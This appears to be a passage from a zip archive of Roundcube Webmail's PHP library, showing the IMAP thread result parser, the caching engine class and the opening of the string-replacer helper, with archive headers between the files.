        $data = preg_replace('/[\r\n]/', '', $data);
        $data = preg_replace('/\s+/', ' ', $data);

        $this->raw_data = empty($data) ? '' : $this->parse_thread($data);
    }

    /**
     * Checks the result from IMAP command
     *
     * @return bool True if the result is an error, False otherwise
     */
    public function is_error()
    {
        return $this->raw_data === null;
    }

    /**
     * Checks if the result is empty
     *
     * @return bool True if the result is empty, False otherwise
     */
    public function is_empty()
    {
        return empty($this->raw_data);
    }

    /**
     * Returns number of elements (threads) in the result
     *
     * @return int Number of elements
     */
    public function count()
    {
        if (isset($this->meta['count'])) {
            return $this->meta['count'];
        }

        if (empty($this->raw_data)) {
            $this->meta['count'] = 0;
        }
        else {
            $this->meta['count'] = 1 + substr_count($this->raw_data, self::SEPARATOR_ELEMENT);
        }

        if (!$this->meta['count']) {
            $this->meta['messages'] = 0;
        }

        return $this->meta['count'];
    }

    /**
     * Returns number of all messages in the result
     *
     * @return int Number of elements
     */
    public function count_messages()
    {
        if (isset($this->meta['messages'])) {
            return $this->meta['messages'];
        }

        if (empty($this->raw_data)) {
            $this->meta['messages'] = 0;
        }
        else {
            $this->meta['messages'] = 1
                + substr_count($this->raw_data, self::SEPARATOR_ELEMENT)
                + substr_count($this->raw_data, self::SEPARATOR_ITEM);
        }

        if ($this->meta['messages'] == 0 || $this->meta['messages'] == 1) {
            $this->meta['count'] = $this->meta['messages'];
        }

        return $this->meta['messages'];
    }

    /**
     * Returns maximum message identifier in the result
     *
     * @return int|null Maximum message identifier
     */
    public function max()
    {
        if ($this->is_empty()) {
            return null;
        }

        if (!isset($this->meta['max'])) {
            $this->meta['max'] = (int) @max($this->get());
        }

        return $this->meta['max'];
    }

    /**
     * Returns minimum message identifier in the result
     *
     * @return int|null Minimum message identifier
     */
    public function min()
    {
        if ($this->is_empty()) {
            return null;
        }

        if (!isset($this->meta['min'])) {
            $this->meta['min'] = (int) @min($this->get());
        }

        return $this->meta['min'];
    }

    /**
     * Slices data set.
     *
     * @param int $offset Offset (as for PHP's array_slice())
     * @param int $length Number of elements (as for PHP's array_slice())
     */
    public function slice($offset, $length)
    {
        $data = explode(self::SEPARATOR_ELEMENT, $this->raw_data);
        $data = array_slice($data, $offset, $length);

        $this->meta          = [];
        $this->meta['count'] = count($data);
        $this->raw_data      = implode(self::SEPARATOR_ELEMENT, $data);
    }

    /**
     * Filters data set. Removes threads not listed in $roots list.
     *
     * @param array $roots List of IDs of thread roots.
     */
    public function filter($roots)
    {
        $datalen = strlen($this->raw_data);
        $roots   = array_flip($roots);
        $result  = '';
        $start   = 0;

        $this->meta = ['count' => 0];

        while ($start < $datalen
            && (($pos = strpos($this->raw_data, self::SEPARATOR_ELEMENT, $start)) !== false
                || ($pos = $datalen))
        ) {
            $len   = $pos - $start;
            $elem  = substr($this->raw_data, $start, $len);
            $start = $pos + 1;

            // extract root message ID
            if ($npos = strpos($elem, self::SEPARATOR_ITEM)) {
                $root = (int) substr($elem, 0, $npos);
            }
            else {
                $root = $elem;
            }

            if (isset($roots[$root])) {
                $this->meta['count']++;
                $result .= self::SEPARATOR_ELEMENT . $elem;
            }
        }

        $this->raw_data = ltrim($result, self::SEPARATOR_ELEMENT);
    }

    /**
     * Reverts order of elements in the result
     */
    public function revert()
    {
        $this->order = $this->order == 'ASC' ? 'DESC' : 'ASC';

        if (empty($this->raw_data)) {
            return;
        }

        $data = explode(self::SEPARATOR_ELEMENT, $this->raw_data);
        $data = array_reverse($data);
        $this->raw_data = implode(self::SEPARATOR_ELEMENT, $data);

        $this->meta['pos'] = [];
    }

    /**
     * Check if the given message ID exists in the object
     *
     * @param int $msgid Message ID
     * @param bool $get_index When enabled element's index will be returned.
     *                        Elements are indexed starting with 0
     *
     * @return bool True on success, False if message ID doesn't exist
     */
    public function exists($msgid, $get_index = false)
    {
        $msgid = (int) $msgid;
        $begin = implode('|', [
            '^',
            preg_quote(self::SEPARATOR_ELEMENT, '/'),
            preg_quote(self::SEPARATOR_LEVEL, '/'),
        ]);
        $end = implode('|', [
            '$',
            preg_quote(self::SEPARATOR_ELEMENT, '/'),
            preg_quote(self::SEPARATOR_ITEM, '/'),
        ]);

        if (preg_match("/($begin)$msgid($end)/", $this->raw_data, $m,
            $get_index ? PREG_OFFSET_CAPTURE : 0)
        ) {
            if ($get_index) {
                $idx = 0;
                if ($m[0][1]) {
                    $idx = substr_count($this->raw_data, self::SEPARATOR_ELEMENT, 0, $m[0][1]+1)
                        + substr_count($this->raw_data, self::SEPARATOR_ITEM, 0, $m[0][1]+1);
                }
                // cache position of this element, so we can use it in get_element()
                $this->meta['pos'][$idx] = (int)$m[0][1];

                return $idx;
            }
            return true;
        }

        return false;
    }

    /**
     * Return IDs of all messages in the result. Threaded data will be flattened.
     *
     * @return array List of message identifiers
     */
    public function get()
    {
        if (empty($this->raw_data)) {
            return [];
        }

        $regexp = '/(' . preg_quote(self::SEPARATOR_ELEMENT, '/')
            . '|' . preg_quote(self::SEPARATOR_ITEM, '/') . '[0-9]+' . preg_quote(self::SEPARATOR_LEVEL, '/')
            .')/';

        return preg_split($regexp, $this->raw_data);
    }

    /**
     * Return all messages in the result.
     *
     * @return array List of message identifiers
     */
    public function get_compressed()
    {
        if (empty($this->raw_data)) {
            return '';
        }

        return rcube_imap_generic::compressMessageSet($this->get());
    }

    /**
     * Return result element at specified index (all messages, not roots)
     *
     * @param int|string  $index  Element's index or "FIRST" or "LAST"
     *
     * @return int Element value
     */
    public function get_element($index)
    {
        $count = $this->count();

        if (!$count) {
            return null;
        }

        // first element
        if ($index === 0 || $index === '0' || $index === 'FIRST') {
            preg_match('/^([0-9]+)/', $this->raw_data, $m);
            $result = (int) $m[1];
            return $result;
        }

        // last element
        if ($index === 'LAST' || $index == $count-1) {
            preg_match('/([0-9]+)$/', $this->raw_data, $m);
            $result = (int) $m[1];
            return $result;
        }

        // do we know the position of the element or the neighbour of it?
        if (!empty($this->meta['pos'])) {
            $element = preg_quote(self::SEPARATOR_ELEMENT, '/');
            $item    = preg_quote(self::SEPARATOR_ITEM, '/') . '[0-9]+' . preg_quote(self::SEPARATOR_LEVEL, '/') .'?';
            $regexp  = '(' . $element . '|' . $item . ')';

            if (isset($this->meta['pos'][$index])) {
                if (preg_match('/([0-9]+)/', $this->raw_data, $m, null, $this->meta['pos'][$index])) {
                    $result = $m[1];
                }
            }
            else if (isset($this->meta['pos'][$index-1])) {
                // get chunk of data after previous element
                $data = substr($this->raw_data, $this->meta['pos'][$index-1]+1, 50);
                $data = preg_replace('/^[0-9]+/', '', $data); // remove UID at $index position
                $data = preg_replace("/^$regexp/", '', $data); // remove separator
                if (preg_match('/^([0-9]+)/', $data, $m)) {
                    $result = $m[1];
                }
            }
            else if (isset($this->meta['pos'][$index+1])) {
                // get chunk of data before next element
                $pos  = max(0, $this->meta['pos'][$index+1] - 50);
                $len  = min(50, $this->meta['pos'][$index+1]);
                $data = substr($this->raw_data, $pos, $len);
                $data = preg_replace("/$regexp\$/", '', $data); // remove separator

                if (preg_match('/([0-9]+)$/', $data, $m)) {
                    $result = $m[1];
                }
            }

            if (isset($result)) {
                return (int) $result;
            }
        }

        // Finally use less effective method
        $data = $this->get();

        return $data[$index] ?? null;
    }

    /**
     * Returns response parameters e.g. MAILBOX, ORDER
     *
     * @param string $param Parameter name
     *
     * @return array|string Response parameters or parameter value
     */
    public function get_parameters($param=null)
    {
        $params = [
            'MAILBOX' => $this->mailbox,
            'ORDER'   => $this->order,
        ];

        if ($param !== null) {
            return $params[$param];
        }

        return $params;
    }

    /**
     * THREAD=REFS sorting implementation (based on provided index)
     *
     * @param rcube_result_index $index Sorted message identifiers
     */
    public function sort($index)
    {
        $this->order = $index->get_parameters('ORDER');

        if (empty($this->raw_data)) {
            return;
        }

        // when sorting search result it's good to make the index smaller
        if ($index->count() != $this->count_messages()) {
            $index->filter($this->get());
        }

        $result  = array_fill_keys($index->get(), null);
        $datalen = strlen($this->raw_data);
        $start   = 0;

        // Here we're parsing raw_data twice, we want only one big array
        // in memory at a time

        // Assign roots
        while (
            ($start < $datalen && ($pos = strpos($this->raw_data, self::SEPARATOR_ELEMENT, $start)))
            || ($start < $datalen && ($pos = $datalen))
        ) {
            $len   = $pos - $start;
            $elem  = substr($this->raw_data, $start, $len);
            $start = $pos + 1;

            $items = explode(self::SEPARATOR_ITEM, $elem);
            $root  = (int) array_shift($items);

            if ($root) {
                $result[$root] = $root;
                foreach ($items as $item) {
                    list($lv, $id) = explode(self::SEPARATOR_LEVEL, $item);
                    $result[$id] = $root;
                }
            }
        }

        // get only unique roots
        $result = array_filter($result); // make sure there are no nulls
        $result = array_unique($result);

        // Re-sort raw data
        $result = array_fill_keys($result, null);
        $start = 0;

        while (
            ($start < $datalen && ($pos = strpos($this->raw_data, self::SEPARATOR_ELEMENT, $start)))
            || ($start < $datalen && ($pos = $datalen))
        ) {
            $len   = $pos - $start;
            $elem  = substr($this->raw_data, $start, $len);
            $start = $pos + 1;

            $npos = strpos($elem, self::SEPARATOR_ITEM);
            $root = (int) ($npos ? substr($elem, 0, $npos) : $elem);

            $result[$root] = $elem;
        }

        $this->raw_data = implode(self::SEPARATOR_ELEMENT, $result);
    }

    /**
     * Returns data as tree
     *
     * @return array Data tree
     */
    public function get_tree()
    {
        $datalen = strlen($this->raw_data);
        $result  = [];
        $start   = 0;

        while ($start < $datalen
            && (($pos = strpos($this->raw_data, self::SEPARATOR_ELEMENT, $start)) !== false
                || ($pos = $datalen))
        ) {
            $len   = $pos - $start;
            $elem  = substr($this->raw_data, $start, $len);
            $items = explode(self::SEPARATOR_ITEM, $elem);
            $result[array_shift($items)] = $this->build_thread($items);
            $start = $pos + 1;
        }

        return $result;
    }

    /**
     * Returns thread depth and children data
     *
     * @return array Thread data
     */
    public function get_thread_data()
    {
        $data     = $this->get_tree();
        $depth    = [];
        $children = [];

        $this->build_thread_data($data, $depth, $children);

        return [$depth, $children];
    }

    /**
     * Creates 'depth' and 'children' arrays from stored thread 'tree' data.
     */
    protected function build_thread_data($data, &$depth, &$children, $level = 0)
    {
        foreach ((array)$data as $key => $val) {
            $empty          = empty($val) || !is_array($val);
            $children[$key] = !$empty;
            $depth[$key]    = $level;
            if (!$empty) {
                $this->build_thread_data($val, $depth, $children, $level + 1);
            }
        }
    }

    /**
     * Converts part of the raw thread into an array
     */
    protected function build_thread($items, $level = 1, &$pos = 0)
    {
        $result = [];

        for ($len=count($items); $pos < $len; $pos++) {
            list($lv, $id) = explode(self::SEPARATOR_LEVEL, $items[$pos]);
            if ($level == $lv) {
                $pos++;
                $result[$id] = $this->build_thread($items, $level+1, $pos);
            }
            else {
                $pos--;
                break;
            }
        }

        return $result;
    }

    /**
     * IMAP THREAD response parser
     */
    protected function parse_thread($str, $begin = 0, $end = 0, $depth = 0)
    {
        // Don't be tempted to change $str to pass by reference to speed this up - it will slow it down by about
        // 7 times instead :-) See comments on http://uk2.php.net/references and this article:
        // http://derickrethans.nl/files/phparch-php-variables-article.pdf
        $node = '';
        if (!$end) {
            $end = strlen($str);
        }

        // Let's try to store data in max. compacted structure as a string,
        // arrays handling is much more expensive
        // For the following structure: THREAD (2)(3 6 (4 23)(44 7 96))((11)(12))
        // -- 2
        // -- 3
        //     \-- 6
        //         |-- 4
        //         |    \-- 23
        //         |
        //         \-- 44
        //               \-- 7
        //                    \-- 96
        // -- 11
        //      \-- 12
        //
        // The output will be: 2 3~1:6~2:4~3:23~2:44~3:7~4:96 11~1:12
        // Note: The "11" thread has no root, we use the first message as root

        if ($str[$begin] != '(') {
            // find next bracket
            $stop      = $begin + strcspn($str, '()', $begin, $end - $begin);
            $messages  = explode(' ', trim(substr($str, $begin, $stop - $begin)));

            if (empty($messages)) {
                return $node;
            }

            foreach ($messages as $msg) {
                if ($msg) {
                    $node .= ($depth ? self::SEPARATOR_ITEM.$depth.self::SEPARATOR_LEVEL : '').$msg;
                    if (isset($this->meta['messages'])) {
                        $this->meta['messages']++;
                    }
                    else {
                        $this->meta['messages'] = 1;
                    }
                    $depth++;
                }
            }

            if ($stop < $end) {
                $node .= $this->parse_thread($str, $stop, $end, $depth);
            }
        }
        else {
            $off = $begin;
            while ($off < $end) {
                $start = $off;
                $off++;
                $n = 1;
                while ($n > 0) {
                    $p = strpos($str, ')', $off);
                    if ($p === false) {
                        // error, wrong structure, mismatched brackets in IMAP THREAD response
                        // @TODO: write error to the log or maybe set $this->raw_data = null;
                        return $node;
                    }

                    $p1 = strpos($str, '(', $off);
                    if ($p1 !== false && $p1 < $p) {
                        $off = $p1 + 1;
                        $n++;
                    }
                    else {
                        $off = $p + 1;
                        $n--;
                    }
                }

                // Handle threads with missing parent by using first message as root
                if (substr_compare($str, '((', $start, 2) === 0) {
                    // Extract the current thread, e.g. "((1)(2))"
                    $thread = substr($str, $start, $off - $start);
                    // Length of the first token, e.g. "(1)"
                    $len = strspn($thread, '(0123456789', 1) + 1;
                    // Extract the token and modify it to look like a thread root
                    $token = substr($thread, 1, $len);
                    // Warning: The order is important
                    $token = str_replace('(', '', $token);
                    $token = str_replace(' ', ' (', $token);
                    $token = str_replace(')', ' ', $token);
                    $thread  = substr_replace($thread, $token, 1, $len);
                    // Parse the thread
                    $thread = $this->parse_thread($thread, 0, 0, $depth);
                }
                else {
                    $thread = $this->parse_thread($str, $start + 1, $off - 1, $depth);
                }

                if ($thread) {
                    if (!$depth) {
                        if ($node) {
                            $node .= self::SEPARATOR_ELEMENT;
                        }
                    }
                    $node .= $thread;
                }
            }
        }

        return $node;
    }
}
PK
h�\�k��K�K%program/lib/Roundcube/rcube_cache.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 | Copyright (C) Kolab Systems AG                                        |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Caching engine                                                      |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

/**
 * Interface class for accessing Roundcube cache
 *
 * @package    Framework
 * @subpackage Cache
 */
class rcube_cache
{
    protected $type;
    protected $userid;
    protected $prefix;
    protected $ttl;
    protected $packed;
    protected $indexed;
    protected $index;
    protected $index_update;
    protected $cache        = [];
    protected $updates      = [];
    protected $exp_records  = [];
    protected $refresh_time = 0.5; // how often to refresh/save the index and cache entries
    protected $debug        = false;
    protected $max_packet   = -1;

    const MAX_EXP_LEVEL     = 2;
    const DATE_FORMAT       = 'Y-m-d H:i:s.u';
    const DATE_FORMAT_REGEX = '[0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2}:[0-9]{2}\.[0-9]{1,6}';


    /**
     * Object factory
     *
     * @param string $type    Engine type ('db', 'memcache', 'apc', 'redis')
     * @param int    $userid  User identifier
     * @param string $prefix  Key name prefix
     * @param string $ttl     Expiration time of memcache/apc items
     * @param bool   $packed  Enables/disabled data serialization.
     *                        It's possible to disable data serialization if you're sure
     *                        stored data will be always a safe string
     * @param bool   $indexed Use indexed cache. Indexed cache is more appropriate for
     *                        storing big data with possibility to remove it by a key prefix.
     *                        Non-indexed cache does not remove data, but flags it for expiration,
     *                        also stores it in memory until close() method is called.
     *
     * @return rcube_cache Cache object
     */
    public static function factory($type, $userid, $prefix = '', $ttl = 0, $packed = true, $indexed = false)
    {
        $driver = strtolower($type) ?: 'db';
        $class  = "rcube_cache_$driver";

        if (!$driver || !class_exists($class)) {
            rcube::raise_error([
                    'code' => 600, 'type' => 'db',
                    'line' => __LINE__, 'file' => __FILE__,
                    'message' => "Configuration error. Unsupported cache driver: $driver"
                ],
                true, true
            );
        }

        return new $class($userid, $prefix, $ttl, $packed, $indexed);
    }

    /**
     * Object constructor.
     *
     * @param int    $userid  User identifier
     * @param string $prefix  Key name prefix
     * @param string $ttl     Expiration time of memcache/apc items
     * @param bool   $packed  Enables/disabled data serialization.
     *                        It's possible to disable data serialization if you're sure
     *                        stored data will be always a safe string
     * @param bool   $indexed Use indexed cache. Indexed cache is more appropriate for
     *                        storing big data with possibility to remove it by key prefix.
     *                        Non-indexed cache does not remove data, but flags it for expiration,
     *                        also stores it in memory until close() method is called.
     */
    public function __construct($userid, $prefix = '', $ttl = 0, $packed = true, $indexed = false)
    {
        $this->userid  = (int) $userid;
        $this->ttl     = min(get_offset_sec($ttl), 2592000);
        $this->prefix  = $prefix;
        $this->packed  = $packed;
        $this->indexed = $indexed;
    }

    /**
     * Returns cached value.
     *
     * @param string $key Cache key name
     *
     * @return mixed Cached value
     */
    public function get($key)
    {
        if (array_key_exists($key, $this->cache)) {
            return $this->cache[$key];
        }

        return $this->read_record($key);
    }

    /**
     * Sets (add/update) value in cache.
     *
     * @param string $key  Cache key name
     * @param mixed  $data Cache data
     *
     * @return bool True on success, False on failure
     */
    public function set($key, $data)
    {
        return $this->write_record($key, $data);
    }

    /**
     * @deprecated Use self::get()
     */
    public function read($key)
    {
        return $this->get($key);
    }

    /**
     * @deprecated Use self::set()
     */
    public function write($key, $data)
    {
        return $this->set($key, $data);
    }

    /**
     * Clears the cache.
     *
     * @param string $key         Cache key name or pattern
     * @param bool   $prefix_mode Enable it to clear all keys starting
     *                            with prefix specified in $key
     */
    public function remove($key = null, $prefix_mode = false)
    {
        // Remove record(s) from the backend
        $this->remove_record($key, $prefix_mode);
    }

    /**
     * Remove cache records older than ttl
     */
    public function expunge()
    {
        // to be overwritten by engine class
    }

    /**
     * Remove expired records of all caches
     */
    public static function gc()
    {
        // Only DB cache requires an action to remove expired entries
        rcube_cache_db::gc();
    }

    /**
     * Writes the cache back to the DB.
     */
    public function close()
    {
        $this->write_index(true);
        $this->index   = null;
        $this->cache   = [];
        $this->updates = [];
    }

    /**
     * A helper to build cache key for specified parameters.
     *
     * @param string $prefix Key prefix (Max. length 64 characters)
     * @param array  $params Additional parameters
     *
     * @return string Key name
     */
    public static function key_name($prefix, $params = [])
    {
        $cache_key = $prefix;

        if (!empty($params)) {
            $func = function($v) {
                if (is_array($v)) {
                    sort($v);
                }
                return is_string($v) ? $v : serialize($v);
            };

            $params = array_map($func, $params);
            $cache_key .= '.' . md5(implode(':', $params));
        }

        return $cache_key;
    }

    /**
     * Reads cache entry.
     *
     * @param string $key Cache key name
     *
     * @return mixed Cached value
     */
    protected function read_record($key)
    {
        $this->load_index();

        // Consistency check (#1490390)
        if (is_array($this->index) && !in_array($key, $this->index)) {
            // we always check if the key exist in the index
            // to have data in consistent state. Keeping the index consistent
            // is needed for keys delete operation when we delete all keys or by prefix.
            return;
        }

        $ckey = $this->ckey($key);
        $data = $this->get_item($ckey);

        if ($this->indexed) {
            return $data !== false ? $this->unserialize($data) : null;
        }

        if ($data !== false) {
            $timestamp = 0;
            $utc       = new DateTimeZone('UTC');

            // Extract timestamp from the data entry
            if (preg_match('/^(' . self::DATE_FORMAT_REGEX . '):/', $data, $matches)) {
                try {
                    $timestamp = new DateTime($matches[1], $utc);
                    $data      = substr($data, strlen($matches[1]) + 1);
                }
                catch (Exception $e) {
                    // invalid date = no timestamp
                }
            }

            // Check if the entry is still valid by comparing with EXP timestamps
            // For example for key 'mailboxes.123456789' we check entries:
            // 'EXP:*', 'EXP:mailboxes' and 'EXP:mailboxes.123456789'.
            if ($timestamp) {
                $path     = explode('.', "*.$key");
                $path_len = min(self::MAX_EXP_LEVEL + 1, count($path));

                for ($x = 1; $x <= $path_len; $x++) {
                    $prefix = implode('.', array_slice($path, 0, $x));
                    if ($x > 1) {
                        $prefix = substr($prefix, 2); // remove "*." prefix
                    }

                    if (($ts = $this->get_exp_timestamp($prefix)) && $ts > $timestamp) {
                        $timestamp = 0;
                        break;
                    }
                }
            }

            $data = $timestamp ? $this->unserialize($data) : null;
        }
        else {
            $data = null;
        }

        return $this->cache[$key] = $data;
    }

    /**
     * Writes single cache record into DB.
     *
     * @param string $key  Cache key name
     * @param mixed  $data Serialized cache data
     *
     * @return bool True on success, False on failure
     */
    protected function write_record($key, $data)
    {
        if ($this->indexed) {
            $result = $this->store_record($key, $data);

            if ($result) {
                $this->load_index();
                $this->index[] = $key;

                if (!$this->index_update) {
                    $this->index_update = time();
                }
            }
        }
        else {
            // In this mode we do not save the entry to the database immediately
            // It's because we have cases where the same entry is updated
            // multiple times in one request (e.g. 'messagecount' entry rcube_imap).
            $this->updates[$key] = new DateTime('now', new DateTimeZone('UTC'));
            $this->cache[$key]   = $data;
            $result = true;
        }

        $this->write_index();

        return $result;
    }

    /**
     * Deletes the cache record(s).
     *
     * @param string $key         Cache key name or pattern
     * @param bool   $prefix_mode Enable it to clear all keys starting
     *                            with prefix specified in $key
     */
    protected function remove_record($key = null, $prefix_mode = false)
    {
        if ($this->indexed) {
            return $this->remove_record_indexed($key, $prefix_mode);
        }

        // "Remove" all keys
        if ($key === null) {
            $ts = new DateTime('now', new DateTimeZone('UTC'));
            $this->add_item($this->ekey('*'), $ts->format(self::DATE_FORMAT));
            $this->cache = [];
        }
        // "Remove" keys by name prefix
        else if ($prefix_mode) {
            $ts     = new DateTime('now', new DateTimeZone('UTC'));
            $prefix = implode('.', array_slice(explode('.', trim($key, '. ')), 0, self::MAX_EXP_LEVEL));

            $this->add_item($this->ekey($prefix), $ts->format(self::DATE_FORMAT));

            foreach (array_keys($this->cache) as $k) {
                if (strpos($k, $key) === 0) {
                    $this->cache[$k] = null;
                }
            }
        }
        // Remove one key by name
        else {
            $this->delete_item($this->ckey($key));
            $this->cache[$key] = null;
        }
    }

    /**
     * @see self::remove_record()
     */
    protected function remove_record_indexed($key = null, $prefix_mode = false)
    {
        $this->load_index();

        // Remove all keys
        if ($key === null) {
            foreach ($this->index as $key) {
                $this->delete_item($this->ckey($key));
                if (!$this->index_update) {
                    $this->index_update = time();
                }
            }

            $this->index = [];
        }
        // Remove keys by name prefix
        else if ($prefix_mode) {
            foreach ($this->index as $idx => $k) {
                if (strpos($k, $key) === 0) {
                    $this->delete_item($this->ckey($k));
                    unset($this->index[$idx]);
                    if (!$this->index_update) {
                        $this->index_update = time();
                    }
                }
            }
        }
        // Remove one key by name
        else {
            $this->delete_item($this->ckey($key));
            if (($idx = array_search($key, $this->index)) !== false) {
                unset($this->index[$idx]);
                if (!$this->index_update) {
                    $this->index_update = time();
                }
            }
        }

        $this->write_index();
    }

    /**
     * Writes the index entry as well as updated entries into memcache/apc/redis DB.
     */
    protected function write_index($force = null)
    {
        // Write updated/new entries when needed
        if (!$this->indexed) {
            $need_update = $force === true;

            if (!$need_update && !empty($this->updates)) {
                $now         = new DateTime('now', new DateTimeZone('UTC'));
                $need_update = floatval(min($this->updates)->format('U.u')) < floatval($now->format('U.u')) - $this->refresh_time;
            }

            if ($need_update) {
                foreach ($this->updates as $key => $ts) {
                    if (isset($this->cache[$key])) {
                        $this->store_record($key, $this->cache[$key], $ts);
                    }
                }

                $this->updates = [];
            }
        }
        // Write index entry when needed
        else {
            $need_update = $this->index_update && $this->index !== null
                && ($force === true || $this->index_update > time() - $this->refresh_time);

            if ($need_update) {
                $index = serialize(array_values(array_unique($this->index)));

                $this->add_item($this->ikey(), $index);
                $this->index_update = null;
                $this->index        = null;
            }
        }
    }

    /**
     * Gets the index entry from memcache/apc/redis DB.
     */
    protected function load_index()
    {
        if (!$this->indexed) {
            return;
        }

        if ($this->index !== null) {
            return;
        }

        $data        = $this->get_item($this->ikey());
        $this->index = $data ? unserialize($data) : [];
    }

    /**
     * Write data entry into cache
     */
    protected function store_record($key, $data, $ts = null)
    {
        $value = $this->serialize($data);

        if (!$this->indexed) {
            if (!$ts) {
                $ts = new DateTime('now', new DateTimeZone('UTC'));
            }

            $value = $ts->format(self::DATE_FORMAT) . ':' . $value;
        }

        $size = strlen($value);

        // don't attempt to write too big data sets
        if ($size > $this->max_packet_size()) {
            trigger_error("rcube_cache: max_packet_size ($this->max_packet) exceeded for key $key. Tried to write $size bytes", E_USER_WARNING);
            return false;
        }

        return $this->add_item($this->ckey($key), $value);
    }

    /**
     * Fetches cache entry.
     *
     * @param string $key Cache internal key name
     *
     * @return mixed Cached value
     */
    protected function get_item($key)
    {
        // to be overwritten by engine class
    }

    /**
     * Adds entry into memcache/apc/redis DB.
     *
     * @param string $key  Cache internal key name
     * @param mixed  $data Serialized cache data
     *
     * @return bool True on success, False on failure
     */
    protected function add_item($key, $data)
    {
        // to be overwritten by engine class
    }

    /**
     * Deletes entry from memcache/apc/redis DB.
     *
     * @param string $key Cache internal key name
     *
     * @return bool True on success, False on failure
     */
    protected function delete_item($key)
    {
        // to be overwritten by engine class
    }

    /**
     * Get EXP:<key> record value from cache
     */
    protected function get_exp_timestamp($key)
    {
        if (!array_key_exists($key, $this->exp_records)) {
            $data = $this->get_item($this->ekey($key));

            $this->exp_records[$key] = $data ? new DateTime($data, new DateTimeZone('UTC')) : null;
        }

        return $this->exp_records[$key];
    }

    /**
     * Creates per-user index cache key name (for memcache, apc, redis)
     *
     * @return string Cache key
     */
    protected function ikey()
    {
        $key = $this->prefix . 'INDEX';

        if ($this->userid) {
            $key = $this->userid . ':' . $key;
        }

        return $key;
    }

    /**
     * Creates per-user cache key name (for memcache, apc, redis)
     *
     * @param string $key Cache key name
     *
     * @return string Cache key
     */
    protected function ckey($key)
    {
        $key = $this->prefix . ':' . $key;

        if ($this->userid) {
            $key = $this->userid . ':' . $key;
        }

        return $key;
    }

    /**
     * Creates per-user cache key name for expiration time entry
     *
     * @param string $key Cache key name
     *
     * @return string Cache key
     */
    protected function ekey($key, $prefix = null)
    {
        $key = $this->prefix . 'EXP:' . $key;

        if ($this->userid) {
            $key = $this->userid . ':' . $key;
        }

        return $key;
    }

    /**
     * Serializes data for storing
     */
    protected function serialize($data)
    {
        return $this->packed ? serialize($data) : $data;
    }

    /**
     * Unserializes serialized data
     */
    protected function unserialize($data)
    {
        return $this->packed ? @unserialize($data) : $data;
    }

    /**
     * Determine the maximum size for cache data to be written
     */
    protected function max_packet_size()
    {
        if ($this->max_packet < 0) {
            $config           = rcube::get_instance()->config;
            $max_packet       = $config->get($this->type . '_max_allowed_packet');
            $this->max_packet = parse_bytes($max_packet) ?: 2097152; // default/max is 2 MB
        }

        return $this->max_packet;
    }

    /**
     * Write memcache/apc/redis debug info to the log
     */
    protected function debug($type, $key, $data = null, $result = null)
    {
        $line = strtoupper($type) . ' ' . $key;

        if ($data !== null) {
            $line .= ' ' . ($this->packed ? $data : serialize($data));
        }

        rcube::debug($this->type, $line, $result);
    }
}
PK
h�\��v�F,F,/program/lib/Roundcube/rcube_string_replacer.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Handle string replacements based on preg_replace_callback           |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

/**
 * Helper class for string replacements based on preg_replace_callback
 *
 * @package    Framework
 * @subpackage Utils
 */
class rcube_string_replacer
{
    public $pattern;
    public $mailto_pattern;
    public $link_pattern;
    public $linkref_index;
    public $linkref_pattern;

    protected $values   = [];
    protected $options  = [];
    protected $linkrefs = [];
    protected $urls     = [];
    protected $noword   = '[^\w@.#-]';


    /**
     * Object constructor
     *
     * @param array $options Configuration options
     */
    function __construct($options = [])
    {
        // Create hard-to-guess replacement string
        $uniq_ident    = sprintf('%010d%010d', mt_rand(), mt_rand());
        $this->pattern = '/##' . $uniq_ident . '##(\d+)##/';

        // Simplified domain expression for UTF8 characters handling
        // Support unicode/punycode in top-level domain part
        $utf_domain = '[^?&@"\'\\/()<>\s\r\t\n]+\\.?([^\\x00-\\x2f\\x3b-\\x40\\x5b-\\x60\\x7b-\\x7f]{2,}|xn--[a-zA-Z0-9]{2,})';
        $url1       = '.:;,';
        $url2       = 'a-zA-Z0-9%=#$@+?|!&\\/_~\\[\\]\\(\\){}\*\x80-\xFE-';

        // Supported link prefixes
        $link_prefix = "([\w]+:\/\/|{$this->noword}[Ww][Ww][Ww]\.|^[Ww][Ww][Ww]\.)";

        $this->options         = $options;
        $this->linkref_index   = '/\[([^<>\]#]+)\](:?\s*' . substr($this->pattern, 1, -1) . ')/';
        $this->linkref_pattern = '/\[([^<>\]#]+)\]/';
        $this->link_pattern    = "/$link_prefix($utf_domain([$url1]*[$url2]+)*)/";
        $this->mailto_pattern  = "/("
            . "[-\w!\#\$%&*+~\/^`|{}=]+(?:\.[-\w!\#\$%&*+~\/^`|{}=]+)*"  // local-part
            . "@$utf_domain"                                             // domain-part
            . "(\?[$url1$url2]+)?"                                       // e.g. ?subject=test...
            . ")/";
    }

    /**
     * Add a string to the internal list
     *
     * @param string $str String value
     *
     * @return int Index of value for retrieval
     */
    public function add($str)
    {
        $i = count($this->values);
        $this->values[$i] = $str;
        return $i;
    }

    /**
     * Build replacement string
     *
     * @param string|int $i Replacement index
     *
     * @return string Replacement string
     */
    public function get_replacement($i)
    {
        return str_replace('(\d+)', $i, substr($this->pattern, 1, -1));
    }

    /**
     * Callback function used to build HTML links around URL strings
     *
     * @param array $matches Matches result from preg_replace_callback
     *
     * @return string Return valid link for recognized schemes, otherwise
     *                return the unmodified URL.
     */
    protected function link_callback($matches)
    {
        $i          = -1;
        $scheme     = strtolower($matches[1]);
        $url_prefix = '';
        $prefix     = '';

